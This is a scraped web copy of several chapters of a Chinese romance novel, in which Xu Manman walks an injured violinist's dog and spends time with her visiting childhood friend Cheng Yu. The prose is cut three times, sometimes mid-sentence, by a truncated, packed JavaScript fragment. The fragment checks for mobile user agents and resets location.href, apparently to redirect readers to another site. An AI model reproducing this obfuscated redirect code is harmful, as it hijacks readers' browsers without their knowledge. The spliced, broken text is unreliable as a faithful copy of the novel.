许曼曼摸着它蓬松柔软的毛,手感很好,像是在摸云朵。 “从今天起,它叫白眼狼。” 赵宜杭拿上琴走了,声音从客厅那边传过来。 “不,白眼狗。” * 许曼曼又和Coda在玄关玩了会儿,才起身进了客厅。 第一感觉就是空,偌大的客厅空荡荡,一眼看过去,几乎没什么东西,空旷得像是说话都会有回声。 赵宜杭不在客厅,许曼曼在房子里四处转了转,才在最里面的一个房间找到了他。 这里原本应该是书房,但看来是被他用来放琴了。墙边的琴盒支架上,各种式样材质的琴盒都有,十分齐全。 他已经把琴拿出来,换到了另一个琴盒里,也不知道一只手是怎么做到的。 许曼曼连忙过去帮忙,按照他的指示,把琴盒放进了柜子里。 柜子里已经有两个琴盒,她不由问了句:“这里面也是琴?” “嗯,只带过来这三把。” “……‘只’?” 许曼曼关上柜门,转身看他。 “你能不能说中国话?” “不能。” “……” 两个人从书房出来,许曼曼问他:“你是一个人住?” “不然呢?” “那干吗这么多房间?”她随手数了数,“一、二、三,光卧室就三间!” “我一间,白眼狗一间,琴一间,很合理啊。” “……你的琴都放在书房里!” 走到客厅,她又指了指窗边Coda的狗窝。 “狗狗这不是也睡在客厅?” “不要在意这些细节。” 赵宜杭坐到沙发上,拍了拍旁边的被子。 “其实我也睡在客厅。” 还真的是,沙发上叠放着枕头被子,旁边还有充电线和几本书,这么一圈看下来,算是这个家里唯一有生活气息的地方了。 “你空着三间卧室,然后睡沙发?”许曼曼觉得难以理解,“那干吗要住这么大的房子?出去睡桥洞就好了啊?” “你说话好伤人啊。” 赵宜杭往旁边一倒,躺在了沙发上。 “哎,你的手!” 许曼曼吓了一跳,急忙过去盯着他。 “小心点,别压到了!” “没事。”他一副满不在乎的样子,“死不了。” 许曼曼瞪了他一眼,想了想,突然又有些担心。 “唉,这样不行啊,你一个人住,手又不方便,吃饭什么的,总要有人照顾一下。” “不是有你和你的良心吗?” 许曼曼又瞪他:“我说正经的呢!” “我也没说不正经的啊。” 许曼曼不理他,自顾自思考。 “不然我给你请个护工吧,男护工,可以每天来——” “你打住。”他从沙发上坐了起来,“别男护工了,我听着害怕。” “可是你还上着夹板呢,医生都说了,复查之前要格外小心——” “好了好了。”他抬手叫停了她的长篇大论,“其实有请阿姨的,每天都会来打扫做饭,所以没事。” “啊?” “不然你觉得家里为什么会这么干净,我每天在家大扫除啊?” “干净不是因为东西少吗?”许曼曼环顾四周,“感觉小偷进了你家都会茫然。” 正说着,Coda叼着它的小恐龙玩具跑过来,要和许曼曼玩。 “白眼狗。” 赵宜杭瞪了它一眼,又躺下了。 许曼曼坐到地上陪它玩了一会儿,突然想到。 “那阿姨遛狗吗?” 赵宜杭正单手玩手机,转过头来看她,像是思考了一下。 然后才说:“不遛。” “哈?那狗狗怎么办?你一只手也不行呀?” “这不是有你嘛。”他笑了,“你不是要负责任吗?那就负责每天来遛狗好了。” Coda又叼回了扔出去的小恐龙,听了这话,也歪头盯着许曼曼看。 “看吧。”他阴阳怪气的,“人家还这么喜欢你。” “好吧好吧。” 许曼曼从它嘴里扯过小恐龙,又远远地丢了出去。 * 许曼曼很快就上了岗。 反正今天也没课,回宿舍简单收拾了一下,下午又过来这边遛狗。 赵宜杭本来也要跟着,但昨晚的事故调查有了进展,警方和学校那边都有要确认的内容,需要本人到场,他就去学校了。 许曼曼自己带着Coda出来,毕竟是第一次,也不太熟悉,就只在小区里转悠。 不过这位少爷住的小区是学校附近最好的,不但房型大,里面的绿化也特别好,小区中央就有一个人工湖,周边的草坪也很大,很适合狗狗玩。 Coda在阳光下撒着欢玩了会儿,脚步总算慢了下来。 许曼曼掏出手机给它拍了张照片,本来是想给赵宜杭看的,打开微信,却莫名点开最上面的对话框,给程喻发了过去。 他今天下午有课,这个点应该还没下课,消息发出去,却立刻收到回复。 C.Y:? 许曼曼笑了。 M.M:怎么样?小狗可爱吧?我刚找了份帮人遛狗的兼职! C.Y:?? C.Y:帮人遛狗? 许曼曼又找Coda一起拍了张自拍,它非常有镜头感,又很上镜,拍出来简直太可爱了,微微仰着脑袋,笑眯眯看着镜头,完全狗狗爱豆。 许曼曼又把这张发过去。 C.Y:你昨晚没睡好? C.Y:是不是又熬夜了? M.M:拜托,你抓一下重点好不好…… C.Y:重点是? M.M:重点当然是狗狗!可爱吧?它的名字叫Coda! C.Y:还可以 M.M:…… 还没等许曼曼打出指责他不解风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781281|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情的话,程喻直接一个电话打了过来。 许曼曼接起来:“你们下课了?” “嗯。”他那边还能听到刚下课嘈杂的声音,“怎么回事?” “什么怎么回事?你先说狗狗可不可爱!” “嗯,可爱。”他敷衍地应了句,又问,“怎么突然又要做兼职了?” “哎呀,骗你的!”许曼曼很得意,“程喻你可真好骗!” 她简单把昨晚的事讲了一下,当然,注意弱化了自己当时的紧张害怕,主要强调了酒驾司机的可恶,还有就是赵宜杭的英勇。 “……所以我对他心存愧疚,就答应这段时间帮他遛狗,哎其实也是应该的啦!” 正说着,Coda不知道看到了什么,突然又急吼吼地往前跑。 “Coda!”她急忙跟上,拽紧了手里的绳子,“慢一点,别乱跑!” Coda停在一丛花木前嗅了起来,她放松下来,这才意识到程喻沉默的时间有点久了。 “喂,程喻。”她叫了他一声,“你还在听吗?” “嗯。”他终于答话,“当时怎么不告诉我?” “太晚了,而且当时场面又乱七八糟的,想起来的时候就更晚了。” “你真的没事?” “真的,毫发无伤,不然我现在还能在这里遛狗?” “那就好。”他说,“遛完就快点回去吧,昨晚没睡好,白天多睡一会儿。” “好。”许曼曼答应着,又说,“不过我一点都不困,真奇怪。” Coda嗅完了这边,又要往湖边去了,她跟上去,被湖面上太阳的闪光晃到,微微眯起了眼睛。 而程喻突然又叫她:“曼曼。” “嗯?” 她应了声,却迟迟没有听到后话。 于是问他:“怎么了?” “也没什么。” 他声音听着没什么情绪,顿了顿。 “只是想告诉你,华都下雨了。” * 许曼曼是真的不困,明明一晚上都没睡到什么觉,反而有种精神亢奋的感觉,比喝了奶茶效果还好。 遛完Coda回去,果然有阿姨来了家里收拾,她赶紧给阿姨讲了赵宜杭的事,又把医生吩咐过的注意事项复述一遍,才算安心。 这位姓刘的阿姨人很好,又健谈,把她当成了赵宜杭的女朋友,许曼曼解释再三,也是半信半疑的,还是赵宜杭回来,误会才得以解除。 虽然已经听许曼曼说了,真看到赵宜杭吊着手臂的样子,阿姨还是有点受到冲击,当即决定要给他炖骨头汤喝。 许曼曼也留下来吃了晚饭,阿姨的手艺很好,做了清淡的家常菜,不是西岭这边的口味。 许曼曼这才知道赵宜杭是东澜人,她原来一直以为这位少爷就是本地的。 东澜少爷右手受伤,只能用左手艰难吃饭,吃到一半就懒得再吃,只在阿姨的监督下把骨头汤喝完了。 许曼曼看在眼里,心存愧疚,于是吃完饭也没立刻走,又陪着Coda玩了一会儿。 赵宜杭开了电视看足球赛,她在旁边跟着看了两眼,到中场休息的时候,却突然听到外面好像有雨声。 “下雨了?” 她跑到窗边往外看,真的下雨了。小区的灯影在细雨中轻轻摇曳,一片朦胧。 “糟了,我没带伞!” “家里有伞。” 赵宜杭抬了抬下巴,示意玄关那边。 “那我先借用一下,明天带来还你。”许曼曼看了眼时间,“我走了,你自己小心一点。” “知道了。” Coda这会儿总算老实地窝在他身边,他漫不经心地摸着它的脑袋,又问她。 “要送你吗?” “……呵呵。”许曼曼假笑了一下,“你真幽默。” 还好雨下得不大,她打着伞出了小区,还没走多远,程喻打来了电话。 她接起电话,兴奋地说:“程喻,西岭也下雨了!” “我知道。” “……你怎么知道的?”她愣了下,“你看天气预报了?” “没有。”他说,语气很轻快,“我来西岭了。” 12. 咒语 许曼曼一路小跑着回去的。 天黑,又下着雨,路有点不好走,可是她心情很雀跃,偶尔遇到水坑,几乎是跳着过去的。 终于在快要到湖边的时候,看到了前面熟悉的身影。 “小鱼!” 她喊了一声,加快脚步跑过去。 “慢一点!小心摔倒!” 程喻话音还没落,她就迎面扑进了他怀里。 其实也不算,两个人的伞撞在一起,雨水震荡着溅到她脸上,她只是在笑。 程喻也在笑,把自己的伞收了起来,接过她手里的那一把,由着她抱紧自己。 “你怎么来了?”许曼曼说,“也不提前打声招呼!” “不是说了吗,华都下雨了。” 他两只手都被伞占住了,垂着眼睛看她。 “我来躲雨。” “来这里躲雨?”许曼曼忍不住笑出声,“从一场雨到另一场雨来了。” “是啊,有点傻。”他笑了笑,“倒是你,怎么才回来?” “我在赵宜杭家吃的晚饭,又看了会儿球赛。” “你什么时候喜欢看球赛了?” “也不喜欢,就是看着好玩,多看了一会儿。”她说,“先别说我了,你这么突然跑来,明天没课吗?” “有,逃了。” “好啊你,以前总不让我逃课,现在竟然自己带头!” “我们要一直站在这里讨论逃课的事吗?” 他一脸的坦荡。 “我是无所谓,就是担心你冷。” 许曼曼白了他一眼:“你吃饭了没?” “没。”他说,“飞机上一直在睡觉。” 于是许曼曼尽地主之谊,带他去学校外面吃饭。不过因为时间太晚,有的店都已经结束营业了,最后去了一家韩料店。 许曼曼不饿,所以只看着他吃。坐在对面,手捧着脸,目不转睛地盯着他看。 程喻开始还面不改色,终于被她盯到食不下咽。 “怎么了?”他说,“我脸上有什么?” “没什么啊。”许曼曼做无辜状,“程喻你怎么这么敏感,看看怎么了?” 他无奈低头,继续吃饭。 “不过。” 许曼曼看着他,若有所思地补充道。 “没见面的时候其实还好,怎么真见到了,反而感觉有点想你呢?” 程喻被呛到了。 他本来正在喝汤,放下勺子,咳了几下,又喝了大半杯水才缓过来。 许曼曼给他递纸,有些莫名其妙。 “怎么了?” “曼曼。” 他终于顺过气来,可能是咳嗽导致的,脸颊隐隐有点泛红。 “以后这种话,能不能不要在我吃饭的时候说?” 许曼曼翻了个白眼。 * 吃完饭出来,雨还在下,外面已经没什么人了。 “你订酒店了吧?”许曼曼看了眼时间,“我要赶紧回去了,再不走就来不及了,宿舍要锁门了。” “我送你。” “不用了,你这么远跑来也够累的了,快回去吧,明天见。” 许曼曼转身道别,程喻看着她,却是一副欲言又止的样子。 “干吗?”她问,“还有事吗?” “你真要回去?”他说,视线有些游离,“其实房间还挺大的。” 许曼曼愣了愣,反应过来他在说什么之后,立刻抬脚,不轻不重地踢了他一下。 “怎么了?”他被踢之后看起来反而更坦然了,“是两张床,不是一张。” “程喻。”许曼曼打量着他,“我以前怎么从来没发现,原来你也这么不要脸?” “‘也’?还有谁?” 许曼曼无语,抬眼看天。 “你不相信我?” “这跟相不相信有什么关系?”许曼曼瞪他,“反正就是不行!” “我们这么久没见了,你都不想我吗?” 程喻突然又打起了苦情牌,可怜巴巴地看着她。 “我可是很想你,而且大老远地来了,明天下午就要走,这样你都不和我多待一会儿?” 许曼曼刚要说话,手机响了起来,是林乔。 “十点二十了!”电话一接起来她就在那边报时,“你在哪儿呢?怎么还不回来?楼下马上锁门了!” 许曼曼看了眼旁边仍旧在扮可怜的程喻,顿了顿,才回话。 “不用等我了,我在外面住。” 程喻眼睛一下子亮了。 “哇哦~”林乔的声音突然变得很做作,“谁呀?” 许曼曼不用看,都能想到她在电话那头挤眉弄眼的样子。 于是二话不说,直接挂了。 * 程喻倒是没说谎,真是很大的房间,两张床。 许曼曼一进门就扑到了床上:“累死了,这床可比我宿舍的床舒服多了。” “一整天去给别人服务,能不累吗?” 程喻就背了个包来,把电脑从包里拿了出来。 “都怪那个酒驾的司机!” 许曼曼对着天花板生了会儿闷气,又吩咐程喻。 “你也别闲着,去给我倒杯水,渴了。” 程喻把水端到她面前,她喝了口,温的。 “果然,还是被别人伺候舒服啊。” 洗完澡,头发也是程喻帮她吹的。 她从昨晚折腾到现在,终于有了困意,被热风吹着头发,程喻的动作又很轻柔,几乎就要这么睡过去了。 “先别睡。”程喻在耳边提醒她,“头发吹干再睡,不然又要头疼了。” 于是强打着精神等他把头发吹干,这才躺到了床上。 可气的是躺下又不困了,程喻进去洗澡了,她拿过手机,看到了林乔之前发来的消息。 乔是林乔的乔:是程喻吧? 乔是林乔的乔:没想到你们进度这么快! 许曼曼翻了个白眼,给她回复。 M.M:闭嘴!我们现在还只是纯洁的友谊! 林乔应该也在玩手机,秒回。 乔是林乔的乔:嗯,现在是,明天就不一定了^^ M.M:你现在是人,明天就不一定了! 乔是林乔的乔:^^ 许曼曼只恨不能把她从屏幕那边抓过来,正无能狂怒的时候,程喻洗完澡出来了。 见她正靠在床头玩手机,问了句。 “不是困了吗?” “又不困了。” 她说,视线从手机转到眼前的程喻身上。 他穿着件短袖,头发也没吹,湿答答地滴下水来。 许曼曼突然记起暑假的事,去他家撞见他换衣服,因为没敲门还被他说了。但想起来的还有,当时他光裸的上半身,自己其实有看到,不同于之前少年感的骨骼,肌肉线条明显,是男人的样子了。 她盯着程喻的背影发呆,他却像是脑袋后面长了眼睛似的,转过头来。 “看什么呢?” 许曼曼回过神来:“没什么,你怎么不吹头发?” “回个消息。” 看着他手里的手机,许曼曼眯起眼睛。 “回谁的消息?大晚上的还要联络?” 面对质问,程喻看起来心情却很好的样子。 “这是查岗吗?” 他走过来,笑着递过手机。 “要看吗?” 许曼曼转过头去:“我才不看呢!” “是师兄。”他说,“我明天不去实验室,有数据要跟他同步一下。” “不用告诉我。”许曼曼假装不在意,“只是随便问问。” “真的?” 程喻探头过来,想要看她的表情。 可是他头发没干,水珠跟着甩过来,溅到了许曼曼脸上。 “程喻!” 她被这水珠凉得一激灵,转头,却刚好和他对上了眼睛。 距离太近,两个人的呼吸都若有似无地纠缠在一起,是谁再往前一点就能亲上的程度。 可是下一秒,程喻头发上的水滴再次滚落,这次落进了许曼曼衣领里。 她立刻炸毛,抬脚把他踹远了一些。 空气中的暧昧气氛也一瞬间消散。 “吹头发去!” * 程喻吹干了头发,两个人分别躺下,只留了中间一盏调暗的壁灯。 许曼曼闭着眼睛,却有点睡不着,心里想的是,两个人好像已经好久没有像这样,睡在一起了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781282|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有多久了呢?她想了会儿也没有答案,旁边床上的程喻却很安静,翻身的声音都没有,不知道是不是睡着了。 许曼曼睁开眼睛,试探着叫了声。 “程喻?” “干吗?” “你也没睡啊?” 听到他的声音,许曼曼安心地闭上了眼睛。 “嗯,有点认床。” “你毛病真多。” 程喻是这样的,从小就跟豌豆公主似的,只要换个地方就睡不着了。 “你怎么也不睡?”他说,“吹头发的时候困成那样。” “我也认床。” 程喻很轻地笑了一声。因为知道她向来不在意这些,去哪里都能倒头就睡的。 “不准笑。”许曼曼警告他。 可是话音刚落,隔壁房间突然传来尴尬的声音,切断了她的后话,也让气氛一瞬间变得奇怪起来。 学校附近的酒店是这样的,你也不能指望大家出来住真是为了搞学术,隔音又不好,想听不到都很难。 两人一时无话,直到许曼曼突然忍不住笑了起来。 “不准笑。” 这次是程喻对她说的。 可是许曼曼这人,别人越不让做的事就越想做,于是笑得更加开心了。 程喻的声音有点无奈:“你能不能别总在不该笑的时候笑?” 他这话似乎意有所指,许曼曼想起上次在他们学校外面酒店的事,终于笑不出来了。 想了想,问他:“程喻,你老实说,到底什么时候喜欢我的?” “怎么?”他说,“你想答应了?” “……小气鬼!” 她气得翻了个身背对着他,过了一会儿,却又忍不住开口。 “程喻。” “嗯?” “你怎么还不睡?” “你觉得这是能睡着的环境吗?” 这话倒是,隔壁房间还在继续,甚至声音还有越来越大的趋势。 “哎呀,无视他们就好了。”许曼曼说,“学校附近都这样。” “怎么,你住过?” “没吃过猪肉还没见过猪跑吗?” “是吗?”他声音听起来很诚恳,“猪怎么跑的?” “……” 许曼曼被噎住,过了片刻才恨恨地开口。 “本来想说我好像已经有点喜欢你了,现在我收回!” 程喻不说话了。 但是很快,他按亮了房间的灯,从床上起身。 “程喻!” 许曼曼被突然亮起的灯光照得睁不开眼,正气急败坏,看到他过来,立刻紧张地坐起身。 “你干吗?” 程喻直接上了床,轻车熟路的样子,不知道的还以为这是他的床呢。 “程喻你干吗?!” 许曼曼已经退到了墙边,警惕地盯着他。 “放心。”他瞥了她一眼,很自然地躺下了,“猪不跑,就是突然想离你近一点。” “……” 许曼曼看着他,犹豫两秒,还是躺到了他身边。 “哼,料你也不敢。” “哦?”他转过头来,嘴角带笑,“是吗?” “……” 许曼曼立刻主动伸手抱住他,把脸埋进他怀里。 “好了别说话了,我要睡觉了。” 程喻停顿片刻,回抱住她。 “嗯。” 许曼曼被他抱在怀里,闻着他周身熟悉的味道,终于记起,他们上一次像这样睡在一张床,已经是初中的时候了。 时间已经过了好久,他们都长大了,关系也在发生着变化,可是还好他还在。 她觉出一种安心感,困意也逐渐袭来。 程喻抱着她,一只手在她后背轻轻拍着,很温暖。 “昨天晚上,真的没吓到?” 他声音低低的,又很轻柔,像耳语。 “一点点吧。”许曼曼含含糊糊地说,眼睛都有点睁不开了,“但是现在没事了。” “嗯,没事了。” 意识朦胧,许曼曼感觉到他偏过头,亲了亲自己的额头。 “睡吧。” 这话像一句轻柔的咒语,几乎在他说出口的瞬间,许曼曼就睡了过去。 13. 冰淇淋 有程喻在,早饭是必须要吃的。 许曼曼拼命挣扎,也只成功赖床二十分钟,八点半就坐在食堂吃早饭了。 和萎靡的她比起来,早上甚至去晨跑过的程喻,看起来简直神清气爽,真是变态一个。 他帮许曼曼剥着鸡蛋,问她:“今天有什么课?” 许曼曼掏出手机看了眼:“上午三四节传播理论,下午一二节马原,天,全是我最讨厌的。” 她愁眉苦脸的,想了想。 “不然我也逃了,我们出去玩吧!” “不行。”程喻把剥好的鸡蛋放进她碗里,“好好上课。” “你这是双标!”许曼曼指控道,“明明自己逃课来的,为什么不让我逃?” “因为我就是来监督你上课的。” 程喻毫不羞愧地说着瞎话,又提醒她。 “而且你不是还要遛狗吗?” “对哦。”许曼曼把这茬给忘了,想了想,“那就只能今天上午遛了,上课之前。” “嗯,快吃吧,粥都要凉了。”程喻把勺子递给她,“吃完了我和你一起。” “啊?你也要去?” “怎么,我不能去?” “也不是。”许曼曼看着他,“行吧,那一起。” 吃过饭,两个人一起去了赵宜杭住的小区。 到了之后,程喻等在楼下,许曼曼一个人上去。她已经录过指纹了,所以也没敲门,直接自己开门进去了。 客厅一片昏暗,窗帘都还没拉,一人一狗都还在睡。 听见进来的动静,还是Coda先跑过来,很高兴地围着许曼曼转。 许曼曼最见不得自己起了别人还在睡,拿过遥控器开了窗帘,阳光倾泻,满室明亮。 “干吗?”沙发上的赵宜杭终于动了动,睡眼惺忪地抬头,“怎么这么早?” “还早?”许曼曼无语,“少爷,九点多了。” “才九点?那你急什么?” 他又跌回枕头上,闭着眼睛。 “还下雨吗?” “下什么下,外面大太阳。”许曼曼去拿狗绳,“我要带Coda出去玩了。” “嗯。”他声音有些沙哑,“要我和你一起?” “不用,我有人一起。” “有人?谁?” “朋友。” 赵宜杭坐起身来,头发乱糟糟的,跟刚被炮炸过一样。 根本还没完全清醒,只勉强睁开一只眼睛,盯着许曼曼。 “男朋友?” “……” 许曼曼无言,给Coda套上了狗绳。 “你话怎么这么多,走了。” * 带着Coda下楼,许曼曼更是没话说了。 Coda真的没有辜负自己白眼狗的名号,一见程喻就高兴得不得了,完全忘了她这个人,只围着程喻转,一个劲地摇着尾巴转圈圈,想让程喻摸它。 “我还以为是自己受狗狗欢迎。”许曼曼冷眼旁观,“合着它是见一个爱一个啊?” 于是狗绳也被交到程喻手里,许曼曼成了多余的那一个,跟着这一人一狗出去遛,手抄着兜,悠闲得很。 这次出了小区,去了外面的一个公园。 许曼曼来校一年多了,都不知道西门外还有这么大一个公园,她活动范围主要集中在东门附近,而且也不喜欢户外活动。 连片的大草坪上,有别的狗狗也在玩耍,程喻牵着Coda加入其中。许曼曼待在一边,阳光晒得人暖洋洋的,她开始还坐着,后来躺下闭着眼睛,到底还是睡过去了。 醒来还有点恍惚,阳光照在身上,睁开眼却并没觉得刺眼,这才反应过来,程喻正坐在旁边,用手给她遮着阳光。 “几点了?” 她翻了个身,把脸埋到程喻身上。 “十点半。”程喻悠悠地说,“你的传播理论已经开始了。” “不管了。”许曼曼心满意足地抱住他,“本来就不想去。” 程喻摸着她的脑袋,一下一下的,像在给Coda顺毛一样,摸得她几乎又要睡过去了。 “程喻。”许曼曼闭着眼睛,像是在说梦话,“当时我要再多考两分,就能去华都了。” 摸着她脑袋的动作顿了顿,程喻的声音很轻。 “你想去华都吗?” “不是。”她说,“我想和你在一起。” 程喻没说话,手在她脑袋上停了会儿,终于有些重地揉了两下,像是在泄愤。 “喂!”许曼曼朦胧的睡意被他揉散,拍了他一下,“干什么呢!” 他把手拿开,还是不说话。 许曼曼抬头去看,他两只手往后撑着,仰头看天空,没在看她。 “怎么了?” 许曼曼知道他这个表情是有点郁闷,戳了戳他。 “谁又惹你了?” “没有。”他语气也像是在赌气。 “哼,懒得理你。” 许曼曼往旁边一个翻身,去抱住趴在旁边的Coda。 “Coda,过来,姐姐抱你。” 毛茸茸的团子还没在怀里抱紧,程喻伸手,又把她扒拉了回来。 “不行,过来。” “干吗?” 许曼曼抗议的话刚说出口,Coda却以为程喻是在叫自己,立刻欢脱地起身,也不绕弯,直接踩着许曼曼往程喻身上扑。 “啊啊啊……” 许曼曼被它大几十斤的体重压上,立刻惨叫出声,却又一个不防,吃了一嘴毛。 程喻连忙把它抱开,探身过来。 “没事吧?” “呸呸呸……” 许曼曼吐出嘴里的几根狗毛,爬了起来。 “你小子给我过来!” “好了好了。” 程喻按住她,摘掉她头发上粘着的草屑。 “他下午可就走了。”她隔着程喻的肩膀冲Coda瞪眼睛,“你之后还要跟着我混呢!” “你怎么总要当大姐大。” 程喻笑着起身,又把她拉了起来。 大姐大的情绪来得快,去得也快。 回去的路上看到冰淇淋摊位,程喻给她买冰淇淋,也给Coda分了一小杯,让它吃了点奶油。 许曼曼蹲在地上,给它举着杯子。 “程喻,你说它是不是特别可爱?” “还可以。” “又是这句。”许曼曼吃着自己的冰淇淋,白了他一眼,“你懂不懂可爱?” “懂啊。”他说,语气自然,“我觉得你就特别可爱。” 许曼曼被呛到了。 她两只手都是冰淇淋,只能狼狈地把头侧向一边,剧烈地咳了起来。 程喻连忙弯下腰,给她顺着后背。 “怎么了?” “程喻。” 她总算止住咳嗽,泪眼朦胧地转头。 “你能不能不要在我吃东西的时候说这个?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781283|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 吃完冰淇淋回去,还没走近,许曼曼就看到了一个有些意外的身影。 赵宜杭坐在楼下的长椅上,正低头看手机。 听到声音,转头看过来。 两人对视一眼,他目光立刻转向旁边的程喻,嘴角勾了勾。 许曼曼也转头看了程喻一眼,他和赵宜杭对上视线,没什么表情。 她主动走过去:“你怎么出来了?” “不是你说大太阳。”他说,懒洋洋地站起身,“出来看看。” 两个人对话,他却并没有看许曼曼,眼神仍旧落在程喻身上。 歪着头,脸上挂着一抹笑,饶有兴致的样子。 “啊。”许曼曼觉得有必要介绍一下,“这是程喻。” 她转头看过去,程喻牵着Coda,仍旧站在几步远的距离之外。 见她看过来,这才不紧不慢走过来。 许曼曼又介绍:“这是赵宜杭。” “你好。”程喻的声音听不出什么情绪。 “你好。”赵宜杭点头,看向许曼曼,“哦,这就是你的……朋友?” “朋友”两个字加了重音,从他嘴里说出来,不知道为什么,感觉怪怪的。 许曼曼还没说话,程喻视线扫过他吊着的右手臂。 “我听说了,多谢你护着曼曼。” “不用。”赵宜杭笑了笑,“她已经道过谢了。” 说着,又懒洋洋地朝Coda招了招手。 “过来。” Coda从刚才起就一直贴在程喻身边,仰着脑袋静静地听着他们说话,完全没有去找自己主人的意思。 听见这话,才慢吞吞地走过去。 程喻把狗绳递给他,没说什么。 “那我今天就不来了哦。”许曼曼说,“下午有课。” “好。”赵宜杭点了点头,“再见。” 这话却不是对许曼曼说的,他看着程喻,脸上带笑。 “再见。”程喻淡淡地说,又补上一句,“早日康复。” “我会的。” 他牵着Coda,说了声。 “走了。” 看着他进去,许曼曼看了眼时间:“走吧?快下课了,去吃饭吧。” 程喻收回视线:“嗯。” 回去的时候,校门口的校庆宣传片还在循环,却是刚好播到了音乐会的片段。 程喻停下了脚步,许曼曼也跟着看过去。 LED大屏上出现赵宜杭的脸,又是那个近景特写。画面上装扮精致的人,明明才过了两天,感觉却已经像是上辈子的事了。 许曼曼有些想笑,戳了戳程喻。 “怎么样?刚看到真人了,你觉得和宣传片比起来,哪个比较帅?” 程喻瞥了她一眼:“你觉得呢?” 许曼曼还真的认真思考了下,看着眼前大屏幕上,一身正装,在聚光灯下拉着小提琴的赵宜杭,再回想刚才穿着白色卫衣,吊着手臂的赵宜杭。 “嗯,我觉得吧。” 她说,朝程喻招招手,示意他附耳过来。 “什么话还要悄悄说?” 程喻看着她,没有要动的意思。 “你听不听!”许曼曼瞪他,“快点,不然不说了!” 他叹了口气,还是听话地侧身靠过来。 “说吧。” 许曼曼踮了踮脚,凑近他耳边,悄声说道。 “我觉得吧,还是你比较帅。” 14. 表白 下午上课之前,许曼曼回宿舍拿书。 还是午睡时间,宿舍里静悄悄的,她轻手轻脚进去,林乔却立刻从床上探出头来。 “呦,回来了啊。” 这声音不大不小的,许曼曼转头一看,才发现根本没人在睡。另外两人也都醒了,三双八卦的眼睛,正炯炯有神地盯着自己。 “点名了没?” 她收拾着书包,随口问了句。 “没,老姚没那么不解风情。”李思慕答。 老姚就是传播理论课的老师,她们慈祥的系主任。 “行啊你,上午课都不上了。”林乔扒着床栏,笑得极其暧昧,“怎么,刚起啊?” 许曼曼忍住了用马原课本拍她脑门的冲动,只翻了个白眼。 “哎,曼曼。”俞梦也问,“怎么样?” “什么怎么样?” “笨。”林乔笑了一声,“她的意思是,你们的革命友情,还纯洁吗?” 许曼曼回过身去,三个人都眼巴巴地盯着她,满脸的求知若渴。 “老天爷。”许曼曼无语问苍天,“我这是分了个什么宿舍!” 她收拾好书包,又换了身衣服,出门的时候三个人还在床上躺着,距离她们平常的起床时间还有十分钟。 程喻在楼下等她,见她出来,伸手接过了书包。 时间还早,他们到教室的时候还没几个人,许曼曼立刻抢占先机,占了最后面角落的位置。 程喻坐到她身边:“嗯,再往后点就退到隔壁教室了。” “你懂什么。”许曼曼掏出课本,“我们马原老师是著名催眠大师,待会想睡觉的时候你就感谢我吧!” 今天的课是和广告专业一起,她们学院向来阴盛阳衰,随着上课时间临近,阶梯教室人越来越多,但9成以上都是女生。 大家坐得七零八落的,却都默契地没有选择前面的位置,前面三排空无一人。 快到上课时间,林乔她们才姗姗来迟。进来也不急着找位置,反倒站在教室前面,扫视全场。 和许曼曼对上视线,林乔邪魅一笑。 许曼曼无语,低头往下躲了躲,又提醒程喻。 “快趴下!” “怎么了?” 程喻正看电脑,闻言抬头,也看到了林乔。 他笑了笑,抬手和她打了招呼。 “你干吗?!”许曼曼打了下他的手。 “怎么了?”他表情无辜,“不能装看不见啊。” “……”许曼曼无语,“真有礼貌!” * 好在三个人没有坐到后面来,在教室中间找到了位置。 许曼曼松了口气,并成功在上课开始后的两分钟内,放弃了听课的打算。 瞄了眼程喻,他正专心盯着电脑,不知道在写什么。 许曼曼摸出手机,刚要打开游戏,程喻一个眼风扫了过来。 “干吗?” “不想听。”许曼曼老实回答。 程喻趁她没有防备,直接把手机拿了过去。 “没收。” “喂!”许曼曼小声抗议,“这种课不用认真,反正考试前划一下重点就好了。” 程喻把手机放到一边,手敲了敲她面前的课本。 “认真听。” “我可是文科生。”许曼曼无语,“还用你一个理科生指导我听这种课?” 程喻笑了下,没有理她,又看回了电脑。 “手机还我。” 许曼曼伸手去够,可程喻已经先一步拿起来,放进了外套口袋里。 许曼曼立刻往他身上摸过去,没有摸到,反倒被他一把攥住了手。 “老实点。”他说,压制住她挣扎的动作。 要不是在上课,许曼曼有的是手段让他投降,可现在,虽然坐在教室后面,还是不好太过张扬,她努力了两下,还是没能把手挣出来,只好放弃。 程喻就这么牵着她一只手,单手在电脑上打字,气定神闲。 许曼曼没有手机玩,课也不想听,只好用另一只手托着脸,百无聊赖地盯着他看。 看着看着,倒还真生出了一点感想。 当时露营和学长谈起程喻,他说程喻“长得也出众”,自己还有些不解。因为太过熟悉,这种事根本不会看到眼里,在她看来,无非是小时侯的程喻长大了,能有什么不一样。 